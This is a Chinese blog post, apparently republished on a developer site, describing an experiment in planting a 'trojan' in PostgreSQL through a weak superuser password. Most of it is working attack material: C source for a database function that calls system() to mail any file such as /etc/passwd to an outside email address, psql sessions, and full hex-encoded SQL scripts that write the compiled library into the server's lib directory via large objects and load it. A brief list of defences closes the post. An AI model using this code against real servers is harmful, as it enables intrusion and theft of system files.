对于PostgreSQL弱口令植入木马试验

对于PostgreSQL弱口令植入木马试验,第1张

概述    近期阿里云发表《态势感知将DDOS扼杀在摇篮中》中,指出黑客们可以利用弱口令进去数据库系统,进行植入木马。其实早在2013年,Wooyun上发表了的《PostgreSQL的那点事儿》就已经阐明了如何利用弱口令进行攻击了。还有《“HACKING” WITH POSTGRESQL》。So,难道说PG不安全么?NO!下面我们就如何植入木马进行实验。     PS:木有文件服务器,而且是做实验,在

近期阿里云发表《态势感知将DDOS扼杀在摇篮中》中,指出黑客们可以利用弱口令进去数据库系统,进行植入木马。其实早在2013年,Wooyun上发表了的《PostgreSQL的那点事儿》就已经阐明了如何利用弱口令进行攻击了。还有《“HACKING” WITH POSTGRESQL》。So,难道说PG不安全么?NO!下面我们就如何植入木马进行实验。

PS:木有文件服务器,而且是做实验,在这里只是通过linux的mail向我邮箱发送邮件。

1、建立PG的C函数:

/* *      test mail */#include "postgres.h"#include "fmgr.h"#ifdef PG_MODulE_MAGICPG_MODulE_MAGIC;#endifPG_FUNCTION_INFO_V1(mailtest);Datummailtest(PG_FUNCTION_ARGS){        char    *filepath = PG_GETARG_CSTRING(0);        int     len = sizeof(filepath);        char    cmd[len + 41];        sprintf(cmd,"cat %s | mail -s test postgres_test@163.com",filepath);        system(cmd);        return Int32GetDatum(0);}
2、编译并拷贝:
[postgres@localhost code]$ gcc -fpic -I/Opt/pg9.5/include/postgresql/server/ -shared -o mailtest.so mailtest.c [postgres@localhost code]$ cp mailtest.so /opt/pg9.5/lib/postgresql/[postgres@localhost code]$ ll mailtest.so-rwxrwxr-x. 1 postgres postgres 6587 Dec 3 10:30 mailtest.so
3、在psql下测试:
psql (9.5beta2)Type "help" for help.postgres=# load 'mailtest';LOADpostgres=# create function mailtest(cstring) returns integer as '$libdir/mailtest.so','mailtest' language c strict;CREATE FUNCTIONpostgres=# select mailtest('/etc/passwd'); mailtest ----------        0(1 row)

4、邮件:

5、获取二进制值:

[postgres@localhost code]$ cp mailtest.binary /opt/pg9.5/data/
在这里我就不贴出文件了,过长。。。

6、通过数据库系统函数得到新的二进制文件(这不是最后工作):

postgres=# create table mailtest_table(t0 text,t1 text,t2 text,t3 text,t4 text,t5 text,t6 text,t7 text,t8 text);CREATE tablepostgres=# copy mailtest_table from '/opt/pg9.5/data/mailtest.binary';copY 412postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table limit 128 offset 0) to '/opt/pg9.5/data/mail0';copY 128postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table limit 128 offset 128) to '/opt/pg9.5/data/mail1';copY 128postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table limit 128 offset 256) to '/opt/pg9.5/data/mail2';copY 128postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table limit 128 offset 384) to '/opt/pg9.5/data/mail3';copY 28postgres=# \i '/opt/pg9.5/data/mailshell'ERROR: large object 12345 does not existSTATEMENT: select lo_unlink(12345);psql:/opt/pg9.5/data/mailshell:1: ERROR: large object 12345 does not existlo_create-----------  12345(1 row)INSERT 0 1INSERT 0 1INSERT 0 1INSERT 0 1lo_export-----------    1(1 row)-rw-r--r--. 1 postgres postgres 6588 Dec 3 10:58 /tmp/mailtest0lo_unlink-----------    1(1 row)

这里要说明一下为什么copy设置了limit和offset,因为向pg_largeobject插入数据的时候,他的值最大是LOBLKSIZE(即BLCKSZ / 4,即2048),我这里获取的字节数是4096,因为这是16进制数,so,写入文件后就变成2048了。其次需要进行生成两次,这是因为pg本身会把数据进行调整,so,不得不进行两次生成so文件。

7、再一次加载二进制文件,生成so文件,建立函数;

[postgres@localhost tmp]$ hexdump -v mailtest0 > mailtest.binary0[postgres@localhost tmp]$ cp mailtest.binary0 /opt/pg9.5/data/
postgres=# create table mailtest_table0(t0 text,t8 text);CREATE tablepostgres=# copy mailtest_table0 from '/opt/pg9.5/data/mailtest.binary0';ERROR:  missing data for column "t1"CONTEXT:  copY mailtest_table0,line 1: "0000000 7f45 4c46 0201 0100 0000 0000 0000 0000"STATEMENT:  copy mailtest_table0 from '/opt/pg9.5/data/mailtest.binary0';ERROR:  missing data for column "t1"CONTEXT:  copY mailtest_table0,line 1: "0000000 7f45 4c46 0201 0100 0000 0000 0000 0000"postgres=# copy mailtest_table0 from '/opt/pg9.5/data/mailtest.binary0';ERROR:  missing data for column "t1"CONTEXT:  copY mailtest_table0,line 1: "0000000 7f45 4c46 0201 0100 0000 0000 0000 0000"postgres=# copy mailtest_table0 from '/opt/pg9.5/data/mailtest.binary0';copY 412postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table0 limit 128 offset 0) to '/opt/pg9.5/data/mail4';copY 128postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table0 limit 128 offset 128) to '/opt/pg9.5/data/mail5';copY 128postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table0 limit 128 offset 256) to '/opt/pg9.5/data/mail6';copY 128postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table0 limit 128 offset 384) to '/opt/pg9.5/data/mail7';copY 28postgres=# \i '/opt/pg9.5/data/mailshell0'ERROR:  large object 12345 does not existSTATEMENT:  select lo_unlink(12345);psql:/opt/pg9.5/data/mailshell0:1: ERROR:  large object 12345 does not exist lo_create -----------     12345(1 row)INSERT 0 1INSERT 0 1INSERT 0 1INSERT 0 1 lo_export -----------         1(1 row)-rw-r--r--. 1 postgres postgres 6588 Dec  3 11:23 /opt/pg9.5/lib/postgresql/mailtest.so lo_unlink -----------         1(1 row)LOADCREATE FUNCTIONpostgres=# select mailtest('/etc/passwd'); mailtest ----------        0(1 row)

8、邮件:

总结:

纵观整个实验过程,以及上边提到的攻击方式都是首先获取了你的访问地址以及你的口令,从而进行破坏,所以PG还是非常安全的,除非你的习惯有问题。
同时引用《“HACKING” WITH POSTGRESQL》一句话,if you give somebody your superuser access – you practically gave him a shell access.

保护措施:

1、加强口令复杂度
2、设置hba文件
3、可以设置口令有效期
4、做好防火墙

mailshell:

select lo_unlink(12345);select lo_create(12345);insert into pg_largeobject values(12345,decode('457f464c0102000100000000000000000003003e00010000055000000000000000400000000000000b58000000000000000000000040003800060040001c00190001000000050000000000000000000000000000000000000000000000000000081400000000000008140000000000000000002000000000000100000006000008180000000000000818002000000000081800200000000001f80000000000000208000000000000000000200000000000020000000600000848000000000000084800200000000008480020000000000180000000000000018000000000000000080000000000000004000000040000019000000000000001900000000000000190000000000000002400000000000000240000000000000004000000000000e550647400040000076c000000000000076c000000000000076c000000000000002400000000000000240000000000000004000000000000e5516474000600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000004000000140000000300004e470055a9e0572394bee8ff9d3930009ae3d1614fa36b620000000000030000000700000001000000060000c18801200c0009c200070000000b0000000d00004c483b5d4ace46f3e3ba7c924543ecd571d81c588db90ef1d3ea0eef0dc7d4a600000000000000000000000000000000000000000000000000000000000000000003000904f00000000000000000000000000000000100000020000000000000000000000000000000000000002b00000020000000000000000000000000000000000000006700000012000000000000000000000000000000000000001c00000022000000000000000000000000000000000000005f00000012000000000000000000000000000000000000005600000012000b06360000000000000098000000000000004d00000012000b0629000000000000000d000000000000008b00000010fff10a200020000000000000000000000000007800000010fff10a100020000000000000000000000000007f00000010fff10a100020000000000000000000000000001000000012000904f00000000000000000000000000000001600000012000c07080000000000000000000000000000003f00000012000b061c000000000000000d0000000000005f00675f6f6d5f6e747372615f74005f695f696e0074665f6e6900695f5f78635f616966616e696c657a5f00764a525f6765736965744372616c7373736550005f67616d69675f637566636e70005f676966666e5f6f616d6c6965747473730072706e696674730073796574006d696c6362732e2e6f0036655f616461745f00625f7373735f617474725f006e6500644c4742495f432e322e32003500000000000000000002000200020001000100010001000100010001000100000000000000010001006e000000100000000000001a75096900000002009000000000000008400020000000000008000000000000084000200000000009c80020000000000006000000020000000000000000000009d00020000000000006000000030000000000000000000009d80020000000000006000000050000000000000000000009f8002000000000000700000004000000000000000000000a00002000000000000700000005000000000000000000000a0800200000000000070000000600000000000000000000834808ec57e80000e80000f20000cde800014800c483c30835ff04da002025ff04dc00201f0f004025ff04da002000680000e900ffe0ffff25ff04d2002001680000e900ffd0ffff25ff04ca002002680000e900ffc0ffff0000000000000000834808ec8b486d0520044800c0850274d0ff834808c490c390909090909090908055983d20040000894841e5535462758348503d200400000c748d48af3d2002e800ff92ffff8d48931d20024c00258d028400208b486d0520044c00e329c14803fb834801eb394873d80f20441f0000834801c089484d052004410014ff48c4058b04420020394872d8c6e52e0520040100415bc95c66c31f0f0084000000008348403d200200004855e5891a748b48cb0520034800c0850e748d48273d2002c900e0ff1f0f0040c3c990904855e5898d4829050001c90055c3894848e5058d01180000c3c94855e5894853ec8348387d8948c8e089894848c3458b48c8408b48204589c7e0ec4500080000458b83ec29c0634848d0ea834801558948d04898c083480fc083480fe8c14804e0c14804c429894848e0c083480fe8c14804e0c14804458948d80d8d008400008b48d8458b48e055894848cec78900b80000e800fe84ffff8b48d8458948e8c7fe58ffff00b800004800dc898b48f85dc3c990904855e5894853ec834808058b013800208348fff819748d482b1d20010f00001f834808ebd0ff8b484803f88375ff48f1c4835b08c3c99090834808ec5fe8fffe48ffc483c308000000000000000000006163207473257c206d206961206c732d7420736520746f70747372677365745f7365407436312e336f63006d00010000001c00000389000000640000002000000040000000010000000100001b013b030020000000030000feb0ffff003c0000febdffff005c0000fecaffff007c000000140000000000007a010052780101100c1b080701900000001c0000001c0000fe6cffff000d00004100100e02860d434806070c00080000001c0000003c0000fe59ffff000d00004100100e02860d434806070c0008000000240000005c0000fe46ffff009800004100100e02860d43','hex'));insert into pg_largeobject values(12345,1,decode('4f0603838402070c00080000000000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff0000000000000000000000000000000008400020000000000001000000000000006e000000000000000c00000000000004f0000000000000000d0000000000000708000000000000fef56fff0000000001b80000000000000005000000000000036800000000000000060000000000000200000000000000000a000000000000009c000000000000000b0000000000000018000000000000000300000000000009e00020000000000002000000000000004800000000000000140000000000000007000000000000001700000000000004a8000000000000000700000000000004480000000000000008000000000000006000000000000000090000000000000018000000000000fffe6fff000000000428000000000000ffff6fff000000000001000000000000fff06fff000000000404000000000000fff96fff0000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084800200000000000000000000000000000000000000000051e000000000000052e000000000000053e00000000000043473a4328204e4729553420342e362e3220313030323033203552286465482074613420342e362e342d002943473a4328204e4729553420342e372e3220313030323133203352286465482074613420342e372e312d29360000732e6d7961740062732e727461740062732e73687274617400626e2e746f2e656e672e7575626c692d6464692e006e672e75616868732e007964736e6d792e007964736e72742e006e672e75657673726f69006e672e756e762e726569736e6f725f2e006572616c642e6e792e006572616c702e746c2e006e6974692e00657474782e006966696e2e006f72616461742e006865665f6172656d685f72642e006865665f6172656d2e007463726f0073642e6f7473722e00636a0072642e74612e6165722e6c6f722e007964616e696d0063672e746f2e006f672e746c700074622e73732e006f636d6d6e65007400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b0000000700000002000000000000019000000000000001900000000000000024000000000000000000000000000000040000000000000000000000000000002e0000fff66fff000200000000000001b800000000000001b8000000000000004400000000000000030000000000000008000000000000000000000000000000380000000b000000020000000000000200000000000000020000000000000001680000000000000004000000020000000800000000000000180000000000000040000000030000000200000000000003680000000000000368000000000000009c00000000000000000000000000000001000000000000000000000000000000480000ffff6fff000200000000000004040000000000000404000000000000001e00000000000000030000000000000002000000000000000200000000000000550000fffe6fff000200000000000004280000000000000428000000000000002000000000000000040000000100000008000000000000000000000000000000640000000400000002000000000000044800000000000004480000000000000060000000000000000300000000000000080000000000000018000000000000006e000000040000000200000000000004a800000000000004a8000000000000004800000000000000030000000a0000000800000000000000180000000000000078000000010000000600000000000004f000000000000004f0000000000000001800000000000000000000000000000004000000000000000000000000000000730000000100000006000000000000050800000000000005080000000000000040000000000000000000000000000000040000000000000010000000000000007e00000001000000060000000000000550000000000000055000000000000001b80000000000000000000000000000001000000000000000000000000000000084000000010000000600000000000007080000000000000708000000000000000e000000000000000000000000000000040000000000000000000000000000008a000000010000000200000000000007200000000000000720000000000000004c00000000000000000000000000000010000000000000000000000000000000920000000100000002000000000000076c000000000000076c000000000000002400000000000000000000000000000004000000000000000000000000000000a0000000010000000200000000000007900000000000000790000000000000008400000000000000000000000000000008000000000000000000000000000000aa000000010000000300000000000008180020000000000818000000000000001000000000000000000000000000000008000000000000000000000000000000b1000000010000000300000000000008280020000000000828000000000000001000000000000000000000000000000008000000000000000000000000000000b80000000100000003000000000000083800200000000008380000000000000008000000000000',2,decode('00000000000000000008000000000000000000000000000000bd000000010000000300000000000008400020000000000840000000000000000800000000000000000000000000000008000000000000000000000000000000ca000000060000000300000000000008480020000000000848000000000000018000000000000000040000000000000008000000000000001000000000000000d3000000010000000300000000000009c800200000000009c8000000000000001800000000000000000000000000000008000000000000000800000000000000d8000000010000000300000000000009e000200000000009e0000000000000003000000000000000000000000000000008000000000000000800000000000000e100000008000000030000000000000a100020000000000a10000000000000001000000000000000000000000000000008000000000000000000000000000000e6000000010000003000000000000000000000000000000a1000000000000000590000000000000000000000000000000100000000000000010000000000000011000000030000000000000000000000000000000000000a6900000000000000ef00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000012580000000000000588000000000000001b0000002e00000008000000000000001800000000000000090000000300000000000000000000000000000000000017e000000000000001db000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000101900000000000000000000000000000000000000003000201b80000000000000000000000000000000000000003000302000000000000000000000000000000000000000003000403680000000000000000000000000000000000000003000504040000000000000000000000000000000000000003000604280000000000000000000000000000000000000003000704480000000000000000000000000000000000000003000804a80000000000000000000000000000000000000003000904f00000000000000000000000000000000000000003000a05080000000000000000000000000000000000000003000b05500000000000000000000000000000000000000003000c07080000000000000000000000000000000000000003000d07200000000000000000000000000000000000000003000e076c0000000000000000000000000000000000000003000f07900000000000000000000000000000000000000003001008180020000000000000000000000000000000000003001108280020000000000000000000000000000000000003001208380020000000000000000000000000000000000003001308400020000000000000000000000000000000000003001408480020000000000000000000000000000000000003001509c80020000000000000000000000000000000000003001609e0002000000000000000000000000000000000000300170a100020000000000000000000000000000000000003001800000000000000000000000000000000000100000002000b05500000000000000000000000000000001100000004fff100000000000000000000000000000000001c00000001001008180020000000000000000000000000002a00000001001108280020000000000000000000000000003800000001001208380020000000000000000000000000004500000002000b05700000000000000000000000000000005b0000000100170a100020000000000001000000000000006a0000000100170a180020000000000008000000000000007800000002000b05f00000000000000000000000000000001100000004fff100000000000000000000000000000000008400000001001008200020000000000000000000000000009100000001000f08100000000000000000000000000000009f0000000100120838002000000000000000000000000000ab00000002000b06d0000000000000000000000000000000c100000004fff10000000000000000000000000000000000cc00000001000d0750000000000000001c00000000000000df00000001000d074c000000000000000400000000000000ed00000001fff109e00020000000000000000000000000010300000001001308400020000000000000000000000000011000000001001108300020000000000000000000000000011d00000001fff108480020000000000000000000000000012600000020000000000000000000000000000000000000013500000020000000000000000000000000000000000000014900000012000b06360000000000000098000000000000015200000012000c07080000000000000000000000000000015800000012000000000000000000000000000000000000016c00000022000000000000000000000000000000000000018800000012000000000000000000000000000000000000019d00000012000b061c000000000000000d00000000000001ab00000010fff10a10002000000000000000000000000001b700000012000b0629000000000000000d00000000000001c900000010fff10a20002000000000000000000000000001ce00000010fff10a10002000000000000000000000000001d500000012000904f0000000000000000000000000000063006c615f6c6d676e6f735f6174747263007472747366752e6600635f5f5443',3,decode('524f4c5f53495f54005f5f5f5444524f4c5f53495f54005f5f5f434a5f52494c54535f5f5f00645f5f6f6c67626f6c61645f6f747372615f787563006d6f6c7074656465362e343300397464726f695f7864362e3533003172666d615f6575646d6d00795f5f5443524f455f444e5f5f5f00465f4152454d455f444e5f5f5f004a5f5243455f444e5f5f5f00645f5f6f6c67626f6c61635f6f747372615f78756d006961746c73652e74006367506d5f67616369645f74612e61343432396d005f796966666e2e6f353432305f004c47424f4c414f5f464645535f5441544c425f455f00645f6f73685f6e616c6400655f5f5444524f455f444e5f5f5f005944414e494d00435f5f6d676e6f735f617474725f5f5f00764a525f6765736965744372616c737373656d006961746c73650074665f6e690069797374736d6540404c4742495f432e322e3200355f5f78635f616966616e696c657a40404c4742495f432e322e32003570736972746e40664740494c4342325f322e352e50005f67616d69675f637566636e5f00625f7373735f6174747270005f676966666e5f6f616d6c69657474735f006e650064655f616461745f006e6974690000','hex'));select lo_export(12345,'/tmp/mailtest0');\! ls -l /tmp/mailtest0select lo_unlink(12345);

mailshell0:

select lo_unlink(12345);select lo_create(12345);insert into pg_largeobject values(12345,decode('7f454c4602010100000000000000000003003e000100000050050000000000004000000000000000580b0000000000000000000040003800060040001c00190001000000050000000000000000000000000000000000000000000000000000001408000000000000140800000000000000002000000000000100000006000000180800000000000018082000000000001808200000000000f801000000000000080200000000000000002000000000000200000006000000480800000000000048082000000000004808200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050e57464040000006c070000000000006c070000000000006c0700000000000024000000000000002400000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474e5500e0a92357be94ffe8399d0030e39a61d1a34f626b000000000300000007000000010000000600000088c12001000cc209070000000b0000000d000000484c5d3bce4af346bae3927c4345d5ecd871581cb98df10eead3ef0ec70da6d4000000000000000000000000000000000000000000000000000000000000000003000900f00400000000000000000000000000000100000020000000000000000000000000000000000000002b00000020000000000000000000000000000000000000006700000012000000000000000000000000000000000000001c00000022000000000000000000000000000000000000005f00000012000000000000000000000000000000000000005600000012000b00360600000000000098000000000000004d00000012000b0029060000000000000d000000000000008b0000001000f1ff200a2000000000000000000000000000780000001000f1ff100a20000000000000000000000000007f0000001000f1ff100a20000000000000000000000000001000000012000900f00400000000000000000000000000001600000012000c00080700000000000000000000000000003f00000012000b001c060000000000000d00000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c61737365730050675f6d616769635f66756e630070675f66696e666f5f6d61696c7465737400737072696e74660073797374656d006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000000000002000200020001000100010001000100010001000100000000000000010001006e0000001000000000000000751a6909000002009000000000000000400820000000000008000000000000004008200000000000c80920000000000006000000020000000000000000000000d00920000000000006000000030000000000000000000000d80920000000000006000000050000000000000000000000f80920000000000007000000040000000000000000000000000a20000000000007000000050000000000000000000000080a200000000000070000000600000000000000000000004883ec08e857000000e8f2000000e8cd0100004883c408c3ff35da042000ff25dc0420000f1f4000ff25da0420006800000000e9e0ffffffff25d20420006801000000e9d0ffffffff25ca0420006802000000e9c0ffffff00000000000000004883ec08488b056d0420004885c07402ffd04883c408c390909090909090909055803d98042000004889e5415453756248833d5004200000740c488d3daf022000e892ffffff488d1d930220004c8d2584022000488b056d0420004c29e348c1fb034883eb014839d873200f1f4400004883c0014889054d04200041ff14c4488b05420420004839d872e5c6052e042000015b415cc9c3660f1f84000000000048833d4002200000554889e5741a488b05cb0320004885c0740e488d3d27022000c9ffe00f1f4000c9c39090554889e5488d0529010000c9c3554889e5488d0518010000c9c3554889e5534883ec3848897dc84889e04889c3488b45c8488b4020488945e0c745ec080000008b45ec83c0294863d04883ea01488955d048984883c00f4883c00f48c1e80448c1e0044829c44889e04883c00f48c1e80448c1e004488945d8488d0d84000000488b45d8488b55e04889ce4889c7b800000000e884feffff488b45d84889c7e858feffffb8000000004889dc488b5df8c9c39090554889e5534883ec08488b05380120004883f8ff7419488d1d2b0120000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e85ffeffff4883c408c300000000000000000000636174202573207c206d61696c202d73207465737420706f7374677265735f74657374403136332e636f6d00010000001c000000890300006400000020000000400000000100000001000000011b033b2000000003000000b0feffff3c000000bdfeffff5c000000cafeffff7c0000001400000000000000017a5200017810011b0c0708900100001c0000001c0000006cfeffff0d00000000410e108602430d06480c07080000001c0000003c00000059feffff0d00000000410e108602430d06480c0708000000240000005c00000046feffff9800000000410e108602430d',decode('064f830302840c0708000000000000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000400820000000000001000000000000006e000000000000000c00000000000000f0040000000000000d000000000000000807000000000000f5feff6f00000000b80100000000000005000000000000006803000000000000060000000000000000020000000000000a000000000000009c000000000000000b0000000000000018000000000000000300000000000000e00920000000000002000000000000004800000000000000140000000000000007000000000000001700000000000000a804000000000000070000000000000048040000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f000000002804000000000000ffffff6f000000000100000000000000f0ffff6f000000000404000000000000f9ffff6f00000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004808200000000000000000000000000000000000000000001e050000000000002e050000000000003e050000000000004743433a2028474e552920342e342e3620323031323033303520285265642048617420342e342e362d3429004743433a2028474e552920342e342e3720323031323033313320285265642048617420342e342e372d31362900002e73796d746162002e737472746162002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e646174612e72656c2e726f002e64796e616d6963002e676f74002e676f742e706c74002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002e000000f6ffff6f0200000000000000b801000000000000b8010000000000004400000000000000030000000000000008000000000000000000000000000000380000000b000000020000000000000000020000000000000002000000000000680100000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000680300000000000068030000000000009c0000000000000000000000000000000100000000000000000000000000000048000000ffffff6f0200000000000000040400000000000004040000000000001e0000000000000003000000000000000200000000000000020000000000000055000000feffff6f0200000000000000280400000000000028040000000000002000000000000000040000000100000008000000000000000000000000000000640000000400000002000000000000004804000000000000480400000000000060000000000000000300000000000000080000000000000018000000000000006e000000040000000200000000000000a804000000000000a8040000000000004800000000000000030000000a0000000800000000000000180000000000000078000000010000000600000000000000f004000000000000f0040000000000001800000000000000000000000000000004000000000000000000000000000000730000000100000006000000000000000805000000000000080500000000000040000000000000000000000000000000040000000000000010000000000000007e00000001000000060000000000000050050000000000005005000000000000b80100000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000080700000000000008070000000000000e000000000000000000000000000000040000000000000000000000000000008a000000010000000200000000000000200700000000000020070000000000004c00000000000000000000000000000010000000000000000000000000000000920000000100000002000000000000006c070000000000006c070000000000002400000000000000000000000000000004000000000000000000000000000000a0000000010000000200000000000000900700000000000090070000000000008400000000000000000000000000000008000000000000000000000000000000aa000000010000000300000000000000180820000000000018080000000000001000000000000000000000000000000008000000000000000000000000000000b1000000010000000300000000000000280820000000000028080000000000001000000000000000000000000000000008000000000000000000000000000000b8000000010000000300000000000000380820000000000038080000000000000800000000000000',decode('000000000000000008000000000000000000000000000000bd000000010000000300000000000000400820000000000040080000000000000800000000000000000000000000000008000000000000000000000000000000ca000000060000000300000000000000480820000000000048080000000000008001000000000000040000000000000008000000000000001000000000000000d3000000010000000300000000000000c809200000000000c8090000000000001800000000000000000000000000000008000000000000000800000000000000d8000000010000000300000000000000e009200000000000e0090000000000003000000000000000000000000000000008000000000000000800000000000000e1000000080000000300000000000000100a200000000000100a0000000000001000000000000000000000000000000008000000000000000000000000000000e60000000100000030000000000000000000000000000000100a0000000000005900000000000000000000000000000001000000000000000100000000000000110000000300000000000000000000000000000000000000690a000000000000ef00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581200000000000088050000000000001b0000002e00000008000000000000001800000000000000090000000300000000000000000000000000000000000000e017000000000000db010000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200b80100000000000000000000000000000000000003000300000200000000000000000000000000000000000003000400680300000000000000000000000000000000000003000500040400000000000000000000000000000000000003000600280400000000000000000000000000000000000003000700480400000000000000000000000000000000000003000800a80400000000000000000000000000000000000003000900f00400000000000000000000000000000000000003000a00080500000000000000000000000000000000000003000b00500500000000000000000000000000000000000003000c00080700000000000000000000000000000000000003000d00200700000000000000000000000000000000000003000e006c0700000000000000000000000000000000000003000f00900700000000000000000000000000000000000003001000180820000000000000000000000000000000000003001100280820000000000000000000000000000000000003001200380820000000000000000000000000000000000003001300400820000000000000000000000000000000000003001400480820000000000000000000000000000000000003001500c80920000000000000000000000000000000000003001600e00920000000000000000000000000000000000003001700100a20000000000000000000000000000000000003001800000000000000000000000000000000000100000002000b0050050000000000000000000000000000110000000400f1ff000000000000000000000000000000001c00000001001000180820000000000000000000000000002a00000001001100280820000000000000000000000000003800000001001200380820000000000000000000000000004500000002000b00700500000000000000000000000000005b00000001001700100a20000000000001000000000000006a00000001001700180a20000000000008000000000000007800000002000b00f0050000000000000000000000000000110000000400f1ff000000000000000000000000000000008400000001001000200820000000000000000000000000009100000001000f00100800000000000000000000000000009f0000000100120038082000000000000000000000000000ab00000002000b00d0060000000000000000000000000000c10000000400f1ff00000000000000000000000000000000cc00000001000d0050070000000000001c00000000000000df00000001000d004c070000000000000400000000000000ed0000000100f1ffe00920000000000000000000000000000301000001001300400820000000000000000000000000001001000001001100300820000000000000000000000000001d0100000100f1ff480820000000000000000000000000002601000020000000000000000000000000000000000000003501000020000000000000000000000000000000000000004901000012000b00360600000000000098000000000000005201000012000c00080700000000000000000000000000005801000012000000000000000000000000000000000000006c01000022000000000000000000000000000000000000008801000012000000000000000000000000000000000000009d01000012000b001c060000000000000d00000000000000ab0100001000f1ff100a2000000000000000000000000000b701000012000b0029060000000000000d00000000000000c90100001000f1ff200a2000000000000000000000000000ce0100001000f1ff100a2000000000000000000000000000d501000012000900f00400000000000000000000000000000063616c6c5f676d6f6e5f73746172740063727473747566662e63005f5f4354',decode('4f525f4c4953545f5f005f5f44544f525f4c4953545f5f005f5f4a43525f4c4953545f5f005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d706c657465642e363334390064746f725f6964782e36333531006672616d655f64756d6d79005f5f43544f525f454e445f5f005f5f4652414d455f454e445f5f005f5f4a43525f454e445f5f005f5f646f5f676c6f62616c5f63746f72735f617578006d61696c746573742e630050675f6d616769635f646174612e34343932006d795f66696e666f2e34353032005f474c4f42414c5f4f46465345545f5441424c455f005f5f64736f5f68616e646c65005f5f44544f525f454e445f5f005f44594e414d4943005f5f676d6f6e5f73746172745f5f005f4a765f5265676973746572436c6173736573006d61696c74657374005f66696e690073797374656d4040474c4942435f322e322e35005f5f6378615f66696e616c697a654040474c4942435f322e322e3500737072696e74664040474c4942435f322e322e350050675f6d616769635f66756e63005f5f6273735f73746172740070675f66696e666f5f6d61696c74657374005f656e64005f6564617461005f696e69740000','/opt/pg9.5/lib/postgresql/mailtest.so');\! ls -l /opt/pg9.5/lib/postgresql/mailtest.soselect lo_unlink(12345);load 'mailtest';create function mailtest(cstring) returns integer as '$libdir/mailtest.so','mailtest' language c strict;
总结

以上是内存溢出为你收集整理的对于PostgreSQL弱口令植入木马试验全部内容,希望文章能够帮你解决对于PostgreSQL弱口令植入木马试验所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/sjk/1175015.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-06-02
下一篇 2022-06-02

发表评论

登录后才能评论

评论列表(0条)

保存